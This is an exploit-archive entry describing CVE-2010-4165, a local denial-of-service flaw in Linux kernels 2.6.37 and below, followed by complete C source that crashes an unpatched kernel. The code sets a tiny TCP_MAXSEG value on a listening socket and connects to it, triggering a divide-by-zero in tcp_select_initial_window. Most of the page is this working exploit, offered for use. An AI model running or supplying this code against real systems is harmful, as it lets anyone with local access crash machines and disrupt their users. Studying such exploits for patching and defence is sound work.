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Linux Kernel 2.6.37 Denial Of Service

Linux Kernel 2.6.37 Denial Of Service
Posted Mar 1, 2011
Authored by prdelka

Linux kernel versions 2.6.37 and below local kernel denial of service exploit that leverages a divide-by-zero error in tcp_select_initial_window when processing user supplied TCP_MAXSEG.

tags | exploit, denial of service, kernel, local
systems | linux
advisories | CVE-2010-4165
MD5 | 8b511f6f9abf85cdb0a69e2d17c92230

Linux Kernel 2.6.37 Denial Of Service

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/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)
* =======================================================
* A divide by 0 error occurs in tcp_select_initial_window
* when processing user supplied TCP_MAXSEG facilitating a
* local denial-of-service condition (kernel oops!) in all
* Linux Kernel 2.6.x branch (2.6.37 & below). This issue
* can be triggered easily with a call to setsockopt() on
* a listening network socket and then establishing a TCP
* connection to the awaiting socket.
*
* -- prdelka
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>


int main() {
int optval, optlen, ret, sd, sd2, pid;
char *host = "localhost";
struct sockaddr_in locAddr;
struct sockaddr_in servAddr;
struct sockaddr_in dstAddr;
printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n");
sd = socket(AF_INET, SOCK_STREAM, 0);
memset(&servAddr,0,sizeof(servAddr));
memset(&dstAddr,0,sizeof(dstAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(60000);
servAddr.sin_addr.s_addr = INADDR_ANY;
dstAddr.sin_family = AF_INET;
inet_aton("127.0.0.1", &dstAddr.sin_addr);
dstAddr.sin_port = htons(60000);
if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
printf("[ Cannot bind listener service\n");
exit(-1);
}
listen(sd,4);
optval = 12;
ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
if(ret==0)
{
printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");
int sin_size = sizeof(struct sockaddr_in);
switch(pid = fork())
{
case 0:
sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
sleep(3);
default:
sd2 = socket(AF_INET, SOCK_STREAM, 0);
connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
sleep(3);
}
}
printf("[ System is patched, no dreams for this prince\n");
return 0;
}

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